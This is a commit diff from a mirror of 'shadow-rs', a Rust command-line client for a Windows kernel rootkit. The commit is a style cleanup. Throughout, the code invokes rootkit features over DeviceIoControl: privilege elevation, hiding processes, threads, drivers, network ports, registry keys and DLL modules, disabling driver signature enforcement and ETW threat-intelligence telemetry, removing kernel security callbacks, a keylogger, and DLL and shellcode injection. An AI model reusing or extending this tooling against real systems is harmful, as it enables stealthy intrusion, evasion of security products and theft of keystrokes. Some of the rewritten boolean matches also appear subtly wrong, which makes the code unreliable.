mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-12 20:14:22 +01:00
style: cleaned up CLI code and comments
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
[package]
|
||||
name = "shadow-rs"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
log = "0.4.22"
|
||||
|
||||
@@ -1,7 +1,14 @@
|
||||
#![allow(non_camel_case_types)]
|
||||
|
||||
use crate::utils::{validate_sys_extension, Callbacks, Options, PortType, Protocol, BANNER};
|
||||
use clap::{arg, ArgAction, Parser, Subcommand, ValueHint};
|
||||
use crate::utils::{
|
||||
validate_sys_extension,
|
||||
Callbacks,
|
||||
Options,
|
||||
PortType,
|
||||
Protocol,
|
||||
BANNER
|
||||
};
|
||||
|
||||
/// The main command-line interface struct.
|
||||
#[derive(Parser)]
|
||||
@@ -79,7 +86,7 @@ pub enum Commands {
|
||||
|
||||
/// Type Port
|
||||
#[arg(long, required = true)]
|
||||
type_: PortType,
|
||||
r#type: PortType,
|
||||
|
||||
/// Number port.
|
||||
#[arg(short, required = true)]
|
||||
@@ -204,7 +211,7 @@ pub enum InjectionCommands {
|
||||
|
||||
/// Type shellcode
|
||||
#[arg(long, short, required = true)]
|
||||
type_: InjectionTypes,
|
||||
r#type: InjectionTypes,
|
||||
},
|
||||
|
||||
/// Shellcode Injection
|
||||
@@ -219,7 +226,7 @@ pub enum InjectionCommands {
|
||||
|
||||
/// Type shellcode
|
||||
#[arg(long, short, required = true)]
|
||||
type_: InjectionTypes,
|
||||
r#type: InjectionTypes,
|
||||
},
|
||||
}
|
||||
|
||||
@@ -292,7 +299,7 @@ pub enum ProcessCommands {
|
||||
|
||||
// Types Enumerate
|
||||
#[arg(long, short, required = true)]
|
||||
type_: Options,
|
||||
r#type: Options,
|
||||
},
|
||||
}
|
||||
|
||||
@@ -391,7 +398,7 @@ pub enum ThreadCommands {
|
||||
|
||||
// Types Enumerate
|
||||
#[arg(long, short, required = true)]
|
||||
type_: Options,
|
||||
r#type: Options,
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
@@ -1,226 +1,258 @@
|
||||
use cli::*;
|
||||
use common::ioctls::*;
|
||||
use clap::Parser;
|
||||
use log::{warn, error};
|
||||
|
||||
use cli::*;
|
||||
use modules::*;
|
||||
use common::ioctls::*;
|
||||
use utils::{init_logger, BANNER};
|
||||
use modules::{
|
||||
callback::Callback,
|
||||
driver::Driver,
|
||||
injection::Injection,
|
||||
misc::Misc,
|
||||
module::Module,
|
||||
network::Network,
|
||||
process::Process,
|
||||
thread::Thread,
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
use modules::registry::Registry;
|
||||
|
||||
mod cli;
|
||||
mod modules;
|
||||
#[macro_use]
|
||||
mod utils;
|
||||
mod cli;
|
||||
mod modules;
|
||||
|
||||
fn main() {
|
||||
let args = Cli::parse();
|
||||
init_logger(args.verbose);
|
||||
|
||||
println!("{BANNER}");
|
||||
|
||||
match &args.command {
|
||||
// Process-related operations
|
||||
Commands::Process { sub_command } => {
|
||||
let mut process = Process::new();
|
||||
|
||||
match sub_command {
|
||||
// Elevate privileges of a specific process
|
||||
ProcessCommands::Elevate { pid } => {
|
||||
process.elevate_process(Some(pid), ELEVATE_PROCESS);
|
||||
}
|
||||
|
||||
// Hide or unhide a process by PID
|
||||
ProcessCommands::Hide { pid } | ProcessCommands::Unhide { pid } => {
|
||||
let hide = matches!(sub_command, ProcessCommands::Hide { .. });
|
||||
process.hide_unhide_process(Some(pid), HIDE_UNHIDE_PROCESS, hide);
|
||||
}
|
||||
|
||||
// Terminate a process by PID
|
||||
ProcessCommands::Terminate { pid } => {
|
||||
process.terminate_process(Some(pid), TERMINATE_PROCESS);
|
||||
}
|
||||
|
||||
// Apply or remove a signature from a process
|
||||
ProcessCommands::Signature { pid, pt, sg } => {
|
||||
process.signature_process(Some(pid), SIGNATURE_PROCESS, sg, pt);
|
||||
}
|
||||
|
||||
// Add or remove protection flags from a process (if feature "mapper" is not enabled)
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
ProcessCommands::Protection { pid, add, remove } => {
|
||||
match (*add, *remove) {
|
||||
(true, false) => process.protection_process(Some(pid), PROTECTION_PROCESS, true),
|
||||
match (add == &true, remove == &false) {
|
||||
(true, true) => process.protection_process(Some(pid), PROTECTION_PROCESS, true),
|
||||
(false, true) => process.protection_process(Some(pid), PROTECTION_PROCESS, false),
|
||||
_ => log::error!("No action provided"),
|
||||
_ => error!("No action provided"),
|
||||
}
|
||||
}
|
||||
ProcessCommands::Enumerate { list, type_ } if *list => {
|
||||
process.enumerate_process(ENUMERATION_PROCESS, type_);
|
||||
|
||||
// List running processes
|
||||
ProcessCommands::Enumerate { list, r#type } if *list => {
|
||||
process.enumerate_process(ENUMERATION_PROCESS, r#type);
|
||||
}
|
||||
_ => log::error!("Invalid or unsupported process command"),
|
||||
|
||||
_ => error!("Invalid or unsupported process command"),
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-related operations
|
||||
Commands::Thread { sub_command } => {
|
||||
let thread = Thread::new();
|
||||
|
||||
match sub_command {
|
||||
// Hide or unhide a thread by TID
|
||||
ThreadCommands::Hide { tid } | ThreadCommands::Unhide { tid } => {
|
||||
let hide = matches!(sub_command, ThreadCommands::Hide { .. });
|
||||
thread.hide_unhide_thread(Some(tid), HIDE_UNHIDE_THREAD, hide);
|
||||
}
|
||||
|
||||
// Add or remove protection from a thread (if feature "mapper" is not enabled)
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
ThreadCommands::Protection { tid, add, remove } => {
|
||||
match (*add, *remove) {
|
||||
(true, false) => thread.protection_thread(Some(tid), PROTECTION_THREAD, true),
|
||||
match (add == &true, remove == &false) {
|
||||
(true, true) => thread.protection_thread(Some(tid), PROTECTION_THREAD, true),
|
||||
(false, true) => thread.protection_thread(Some(tid), PROTECTION_THREAD, false),
|
||||
_ => log::error!("No action provided"),
|
||||
_ => error!("No action provided"),
|
||||
}
|
||||
}
|
||||
|
||||
ThreadCommands::Enumerate { list, type_ } if *list => {
|
||||
thread.enumerate_thread(ENUMERATION_THREAD, type_);
|
||||
// List threads in the system
|
||||
ThreadCommands::Enumerate { list, r#type } if *list => {
|
||||
thread.enumerate_thread(ENUMERATION_THREAD, r#type);
|
||||
}
|
||||
|
||||
_ => log::error!("Invalid or unsupported thread command"),
|
||||
_ => error!("Invalid or unsupported thread command"),
|
||||
}
|
||||
}
|
||||
|
||||
// Driver-related operations
|
||||
Commands::Driver { sub_command, hide, unhide, list, name } => {
|
||||
let driver = Driver::new();
|
||||
|
||||
// List all loaded drivers
|
||||
if *list {
|
||||
return driver.enumerate_driver(ENUMERATE_DRIVER);
|
||||
}
|
||||
|
||||
// Hide or unhide a specific driver
|
||||
if let Some(name) = name {
|
||||
if *hide || *unhide {
|
||||
return driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, &name, *hide);
|
||||
return driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, name, *hide);
|
||||
}
|
||||
}
|
||||
|
||||
match sub_command {
|
||||
Some(DriverCommands::Block { name, add, remove }) => {
|
||||
if let Some(name) = name {
|
||||
if *add || *remove{
|
||||
driver.block_driver(BLOCK_DRIVER, name, *add);
|
||||
} else {
|
||||
log::warn!("You must specify either --add or --remove.");
|
||||
}
|
||||
// Block or unblock a driver from loading
|
||||
if let Some(DriverCommands::Block { name, add, remove }) = sub_command {
|
||||
if let Some(name) = name {
|
||||
if *add || *remove {
|
||||
driver.block_driver(BLOCK_DRIVER, name, *add);
|
||||
} else {
|
||||
warn!("You must specify either --add or --remove.");
|
||||
}
|
||||
},
|
||||
None => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Miscellaneous system functions
|
||||
Commands::Misc { sub_command } => {
|
||||
let misc = Misc::new();
|
||||
|
||||
match sub_command {
|
||||
// Enable or disable Driver Signature Enforcement (DSE)
|
||||
MisCommands::DSE { disable, enable } => {
|
||||
match (*enable, *disable) {
|
||||
(true, false) => misc.dse(ENABLE_DSE, true),
|
||||
match (enable == &true, disable == &false) {
|
||||
(true, true) => misc.dse(ENABLE_DSE, true),
|
||||
(false, true) => misc.dse(ENABLE_DSE, false),
|
||||
_ => log::error!("No action provided"),
|
||||
_ => error!("No action provided"),
|
||||
}
|
||||
}
|
||||
MisCommands::Keylogger { file } => misc.keylogger(KEYLOGGER, file),
|
||||
|
||||
// Start keylogger with optional output path
|
||||
MisCommands::Keylogger { file } => {
|
||||
misc.keylogger(KEYLOGGER, file);
|
||||
}
|
||||
|
||||
// Enable or disable ETWTI (ETW telemetry interception)
|
||||
MisCommands::Etwti { disable, enable } => {
|
||||
match (*enable, *disable) {
|
||||
(true, false) => misc.etwti(ETWTI, true),
|
||||
match (enable == &true, disable == &false) {
|
||||
(true, true) => misc.etwti(ETWTI, true),
|
||||
(false, true) => misc.etwti(ETWTI, false),
|
||||
_ => log::error!("No action provided"),
|
||||
_ => error!("No action provided"),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Commands::Network {
|
||||
hide,
|
||||
unhide,
|
||||
protocol,
|
||||
type_,
|
||||
port_number,
|
||||
} => {
|
||||
let network = Network::new();
|
||||
if *hide || *unhide {
|
||||
network.hide_unhide_port(HIDE_PORT, *protocol, *type_, *port_number, *hide);
|
||||
} else {
|
||||
log::error!("No action provided. Use --hide or --unhide.");
|
||||
}
|
||||
}
|
||||
// Hide or unhide TCP/UDP ports
|
||||
Commands::Network { hide, unhide, protocol, r#type, port_number } => {
|
||||
let network = Network::new();
|
||||
|
||||
if *hide || *unhide {
|
||||
network.hide_unhide_port(HIDE_PORT, *protocol, *r#type, *port_number, *hide);
|
||||
} else {
|
||||
error!("No action provided. Use --hide or --unhide.");
|
||||
}
|
||||
}
|
||||
|
||||
// Registry-related operations (if feature "mapper" is not enabled)
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
Commands::Registry { sub_command } => {
|
||||
let registry = Registry::new();
|
||||
|
||||
|
||||
match sub_command {
|
||||
// Add or remove registry protection for a key or value
|
||||
RegistryCommands::Protect { key, name, add, remove } => {
|
||||
match (*add, *remove) {
|
||||
(true, true) => log::error!("Both add and remove options cannot be specified at the same time"),
|
||||
match (add == &true, remove == &true) {
|
||||
(true, true) => error!("Both add and remove options cannot be specified at the same time"),
|
||||
(true, false) | (false, true) => {
|
||||
let action = *add;
|
||||
let reg_type = if name.is_some() { REGISTRY_PROTECTION_VALUE } else { REGISTRY_PROTECTION_KEY };
|
||||
let reg_name = name.clone().unwrap_or_else(|| "".to_string());
|
||||
|
||||
let reg_name = name.clone().unwrap_or_default();
|
||||
|
||||
registry.registry_protection(reg_type, ®_name, key, action);
|
||||
}
|
||||
_ => log::error!("Either add or remove must be specified"),
|
||||
_ => error!("Either add or remove must be specified"),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Hide or unhide a registry key or value
|
||||
RegistryCommands::Hide { key, value } | RegistryCommands::Unhide { key, value } => {
|
||||
let action = matches!(sub_command, RegistryCommands::Hide { .. });
|
||||
let reg_type = if value.is_some() { HIDE_UNHIDE_VALUE } else { HIDE_UNHIDE_KEY };
|
||||
let reg_name = value.clone().unwrap_or_else(|| "".to_string());
|
||||
|
||||
let reg_name = value.clone().unwrap_or_default();
|
||||
|
||||
registry.registry_hide_unhide(reg_type, ®_name, key, action);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Module-related operations (DLLs loaded into processes)
|
||||
Commands::Module { sub_command } => {
|
||||
let module = Module::new();
|
||||
|
||||
match sub_command {
|
||||
ModuleCommands::Enumerate { pid } => module.enumerate_module(ENUMERATE_MODULE, pid),
|
||||
ModuleCommands::Hide { name, pid } => module.hide_module(HIDE_MODULE, name, *pid),
|
||||
// List modules for a given process
|
||||
ModuleCommands::Enumerate { pid } => {
|
||||
module.enumerate_module(ENUMERATE_MODULE, pid);
|
||||
}
|
||||
|
||||
// Hide a module (DLL) from a process
|
||||
ModuleCommands::Hide { name, pid } => {
|
||||
module.hide_module(HIDE_MODULE, name, *pid);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Commands::Callback {
|
||||
list,
|
||||
enumerate,
|
||||
remove,
|
||||
restore,
|
||||
callback,
|
||||
} => {
|
||||
// Callback hook management (remove, restore, list)
|
||||
Commands::Callback { list, enumerate, remove, restore, callback } => {
|
||||
let callbacks = Callback::new();
|
||||
|
||||
|
||||
if *list || *enumerate {
|
||||
let enum_type = if *list { ENUMERATE_CALLBACK } else { ENUMERATE_REMOVED_CALLBACK };
|
||||
let enum_type = if *list {
|
||||
ENUMERATE_CALLBACK
|
||||
} else {
|
||||
ENUMERATE_REMOVED_CALLBACK
|
||||
};
|
||||
|
||||
callbacks.enumerate_callback(enum_type, callback);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
match (remove, restore) {
|
||||
(Some(index), None) => callbacks.remove_callback(*index, REMOVE_CALLBACK, callback),
|
||||
(None, Some(index)) => callbacks.restore_callback(*index, RESTORE_CALLBACK, callback),
|
||||
(Some(_), Some(_)) => log::error!("Cannot remove and restore at the same time"),
|
||||
(None, None) => log::error!("No action provided for callback"),
|
||||
(Some(_), Some(_)) => error!("Cannot remove and restore at the same time"),
|
||||
(None, None) => error!("No action provided for callback"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Injection-related operations (DLL/shellcode into processes)
|
||||
Commands::Injection { sub_command } => {
|
||||
let injection = Injection::new();
|
||||
|
||||
match sub_command {
|
||||
InjectionCommands::DLL { pid, path, type_ } => match type_ {
|
||||
// Inject DLL using selected technique
|
||||
InjectionCommands::DLL { pid, path, r#type } => match r#type {
|
||||
InjectionTypes::Thread => injection.injection(INJECTION_DLL_THREAD, pid, path),
|
||||
InjectionTypes::APC => injection.injection(INJECTION_DLL_APC, pid, path),
|
||||
InjectionTypes::ThreadHijacking => log::error!("No Supported")
|
||||
InjectionTypes::ThreadHijacking => error!("Thread hijacking for DLLs is not supported"),
|
||||
},
|
||||
InjectionCommands::Shellcode { pid, path, type_ } => match type_ {
|
||||
|
||||
// Inject shellcode using selected technique
|
||||
InjectionCommands::Shellcode { pid, path, r#type } => match r#type {
|
||||
InjectionTypes::Thread => injection.injection(INJECTION_SHELLCODE_THREAD, pid, path),
|
||||
InjectionTypes::APC => injection.injection(INJECTION_SHELLCODE_APC, pid, path),
|
||||
InjectionTypes::ThreadHijacking => injection.injection(INJECTION_SHELLCODE_THREAD_HIJACKING, pid, path)
|
||||
InjectionTypes::ThreadHijacking => injection.injection(INJECTION_SHELLCODE_THREAD_HIJACKING, pid, path),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
use crate::{utils::open_driver, utils::Callbacks};
|
||||
use common::structs::{CallbackInfoInput, CallbackInfoOutput};
|
||||
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
|
||||
use log::{info, error, debug};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||
System::IO::DeviceIoControl,
|
||||
};
|
||||
|
||||
use common::structs::{CallbackInfoInput, CallbackInfoOutput};
|
||||
use crate::{utils::open_driver, utils::Callbacks};
|
||||
|
||||
/// Provides operations for managing callbacks through a driver interface.
|
||||
pub struct Callback {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
pub struct Callback(HANDLE);
|
||||
|
||||
impl Callback {
|
||||
/// Creates a new `Callback` instance, opening a handle to the driver.
|
||||
@@ -22,8 +22,8 @@ impl Callback {
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Callback { driver_handle }
|
||||
let h_driver = open_driver().expect("Error");
|
||||
Self(h_driver)
|
||||
}
|
||||
|
||||
/// Enumerates all callbacks associated with a specified callback type.
|
||||
@@ -33,9 +33,8 @@ impl Callback {
|
||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
||||
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback to enumerate.
|
||||
pub fn enumerate_callback(self, ioctl_code: u32, callback: &Callbacks) {
|
||||
log::debug!("Attempting to open the driver for callback enumeration");
|
||||
|
||||
log::debug!("Allocating memory for callback information");
|
||||
debug!("Attempting to open the driver for callback enumeration");
|
||||
debug!("Allocating memory for callback information");
|
||||
let mut return_buffer = 0;
|
||||
let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() };
|
||||
let mut input_callback = CallbackInfoInput {
|
||||
@@ -43,10 +42,10 @@ impl Callback {
|
||||
callback: callback.to_shared(),
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to enumerate callbacks");
|
||||
debug!("Sending DeviceIoControl command to enumerate callbacks");
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut input_callback as *mut _ as *mut c_void,
|
||||
size_of::<CallbackInfoInput>() as u32,
|
||||
@@ -58,13 +57,13 @@ impl Callback {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe {
|
||||
GetLastError()
|
||||
});
|
||||
} else {
|
||||
let total_modules = return_buffer as usize / size_of::<CallbackInfoOutput>();
|
||||
log::info!("Total callbacks found: {}", total_modules);
|
||||
log::info!("Listing callbacks:");
|
||||
info!("Total callbacks found: {}", total_modules);
|
||||
info!("Listing callbacks:");
|
||||
println!("");
|
||||
|
||||
for i in callback_info.iter() {
|
||||
@@ -72,7 +71,7 @@ impl Callback {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name.trim_end_matches('\0').to_string(),
|
||||
Err(err) => {
|
||||
log::error!("UTF-16 decoding error: {:?}", err);
|
||||
error!("UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
@@ -81,7 +80,7 @@ impl Callback {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name.trim_end_matches('\0').to_string(),
|
||||
Err(err) => {
|
||||
log::error!("UTF-16 decoding error: {:?}", err);
|
||||
error!("UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
@@ -91,7 +90,7 @@ impl Callback {
|
||||
}
|
||||
}
|
||||
println!("");
|
||||
log::info!("Callback enumeration completed")
|
||||
info!("Callback enumeration completed")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -103,19 +102,18 @@ impl Callback {
|
||||
/// * `ioctl_code` - The IOCTL code for the remove operation.
|
||||
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback.
|
||||
pub fn remove_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
log::debug!("Attempting to open the driver to remove callback at index: {index}");
|
||||
|
||||
log::debug!("Preparing structure to remove callback at index: {}", index);
|
||||
debug!("Attempting to open the driver to remove callback at index: {index}");
|
||||
debug!("Preparing structure to remove callback at index: {}", index);
|
||||
let mut callback_info = CallbackInfoInput {
|
||||
index,
|
||||
callback: callback.to_shared(),
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to remove callback at index: {index}");
|
||||
debug!("Sending DeviceIoControl command to remove callback at index: {index}");
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut callback_info as *mut _ as *mut c_void,
|
||||
size_of::<CallbackInfoInput>() as u32,
|
||||
@@ -127,9 +125,9 @@ impl Callback {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Successfully removed callback at index: {index}");
|
||||
info!("Successfully removed callback at index: {index}");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -141,19 +139,19 @@ impl Callback {
|
||||
/// * `ioctl_code` - The IOCTL code for the restore operation.
|
||||
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback.
|
||||
pub fn restore_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
log::debug!("Attempting to open the driver to restore callback at index: {index}");
|
||||
debug!("Attempting to open the driver to restore callback at index: {index}");
|
||||
|
||||
log::debug!("Preparing structure to restore callback at index: {index}");
|
||||
debug!("Preparing structure to restore callback at index: {index}");
|
||||
let mut callback_info = CallbackInfoInput {
|
||||
index,
|
||||
callback: callback.to_shared(),
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to restore callback at index: {index}");
|
||||
debug!("Sending DeviceIoControl command to restore callback at index: {index}");
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut callback_info as *mut _ as *mut c_void,
|
||||
size_of::<CallbackInfoInput>() as u32,
|
||||
@@ -165,9 +163,9 @@ impl Callback {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Successfully restored callback at index: {index}");
|
||||
info!("Successfully restored callback at index: {index}");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -175,7 +173,7 @@ impl Callback {
|
||||
impl Drop for Callback {
|
||||
/// Ensures the driver handle is closed when `Callback` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.0) };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
use crate::utils::open_driver;
|
||||
use common::structs::{DriverInfo, TargetDriver};
|
||||
use std::{ffi::c_void, ptr::null_mut};
|
||||
use log::{info, error, debug};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||
System::IO::DeviceIoControl,
|
||||
};
|
||||
|
||||
use common::structs::{DriverInfo, TargetDriver};
|
||||
use crate::utils::open_driver;
|
||||
|
||||
/// Provides operations for managing drivers through a driver interface.
|
||||
pub struct Driver {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
pub struct Driver(HANDLE);
|
||||
|
||||
impl Driver {
|
||||
/// Creates a new `Driver` instance, opening a handle to the driver.
|
||||
@@ -22,8 +22,8 @@ impl Driver {
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Driver { driver_handle }
|
||||
let h_driver = open_driver().expect("Error");
|
||||
Self(h_driver)
|
||||
}
|
||||
|
||||
/// Hides or unhides a driver based on its name.
|
||||
@@ -34,19 +34,19 @@ impl Driver {
|
||||
/// * `name` - The name of the driver to hide or unhide.
|
||||
/// * `enable` - `true` to hide or `false` to unhide the driver.
|
||||
pub fn unhide_hide_driver(self, ioctl_code: u32, name: &String, enable: bool) {
|
||||
log::debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
|
||||
log::debug!("Preparing structure for: {}", name);
|
||||
debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
|
||||
debug!("Preparing structure for: {}", name);
|
||||
let mut info_driver = TargetDriver {
|
||||
name: name.to_string(),
|
||||
enable,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" });
|
||||
debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" });
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut info_driver as *mut _ as *mut c_void,
|
||||
size_of::<TargetDriver>() as u32,
|
||||
@@ -58,9 +58,9 @@ impl Driver {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()});
|
||||
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()});
|
||||
} else {
|
||||
log::info!("Driver successfully {}hidden", if enable { "" } else { "un" });
|
||||
info!("Driver successfully {}hidden", if enable { "" } else { "un" });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -72,18 +72,18 @@ impl Driver {
|
||||
/// - `name` - The name of the driver to block or unblock.
|
||||
/// - `enable` - `true` to block the driver, `false` to unblock.
|
||||
pub fn block_driver(self, ioctl_code: u32, name: &String, enable: bool) {
|
||||
log::debug!("Preparing structure for: {}", name);
|
||||
debug!("Preparing structure for: {}", name);
|
||||
let mut info_driver = TargetDriver {
|
||||
name: name.to_string(),
|
||||
enable,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to {} driver", if enable { "block" } else { "unblock" });
|
||||
debug!("Sending DeviceIoControl command to {} driver", if enable { "block" } else { "unblock" });
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
&mut info_driver as *mut _ as *mut c_void,
|
||||
size_of::<TargetDriver>() as u32,
|
||||
@@ -95,9 +95,9 @@ impl Driver {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()});
|
||||
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError()});
|
||||
} else {
|
||||
log::info!("Driver successfully {}block", if enable { "" } else { "un" });
|
||||
info!("Driver successfully {}block", if enable { "" } else { "un" });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -107,15 +107,15 @@ impl Driver {
|
||||
///
|
||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
||||
pub fn enumerate_driver(self, ioctl_code: u32) {
|
||||
log::debug!("Attempting to open the driver for enumeration");
|
||||
log::debug!("Allocating memory for driver info");
|
||||
debug!("Attempting to open the driver for enumeration");
|
||||
debug!("Allocating memory for driver info");
|
||||
let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() };
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to enumerate drivers");
|
||||
debug!("Sending DeviceIoControl command to enumerate drivers");
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
self.driver_handle,
|
||||
self.0,
|
||||
ioctl_code,
|
||||
null_mut(),
|
||||
0,
|
||||
@@ -127,11 +127,11 @@ impl Driver {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
let total_modules = return_buffer as usize / size_of::<DriverInfo>();
|
||||
log::info!("Total modules found: {}", total_modules);
|
||||
log::info!("Listing drivers:");
|
||||
info!("Total modules found: {}", total_modules);
|
||||
info!("Listing drivers:");
|
||||
println!("");
|
||||
|
||||
for i in driver_info.iter() {
|
||||
@@ -139,7 +139,7 @@ impl Driver {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name,
|
||||
Err(err) => {
|
||||
log::error!("UTF-16 decoding error: {:?}", err);
|
||||
error!("UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
@@ -148,7 +148,7 @@ impl Driver {
|
||||
}
|
||||
}
|
||||
println!("");
|
||||
log::info!("Driver enumeration completed.");
|
||||
info!("Driver enumeration completed.");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -156,7 +156,7 @@ impl Driver {
|
||||
impl Drop for Driver {
|
||||
/// Ensures the driver handle is closed when `Driver` goes out of scope.
|
||||
fn drop(&mut self) {
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.driver_handle) };
|
||||
debug!("Closing the driver handle");
|
||||
unsafe { CloseHandle(self.0) };
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,29 +1,29 @@
|
||||
use crate::{utils::check_file, utils::open_driver};
|
||||
use common::structs::TargetInjection;
|
||||
use std::{ffi::c_void, ptr::null_mut};
|
||||
use log::{info, error, debug};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, HANDLE},
|
||||
System::IO::DeviceIoControl,
|
||||
};
|
||||
|
||||
use common::structs::TargetInjection;
|
||||
use crate::{utils::check_file, utils::open_driver};
|
||||
|
||||
/// Provides operations for injecting code into processes through a driver interface.
|
||||
pub struct Injection {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
pub struct Injection(HANDLE);
|
||||
|
||||
impl Injection {
|
||||
/// Creates a new `Injection` instance, opening a handle to the driver.
|
||||
/// Creates a new [`Injection`] instance, opening a handle to the driver.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * An instance of `Injection`.
|
||||
/// * An instance of [`Injection`].
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Panics if the driver cannot be opened.
|
||||
pub fn new() -> Self {
|
||||
let driver_handle = open_driver().expect("Error");
|
||||
Injection { driver_handle }
|
||||
let h_driver = open_driver().expect("Error");
|
||||
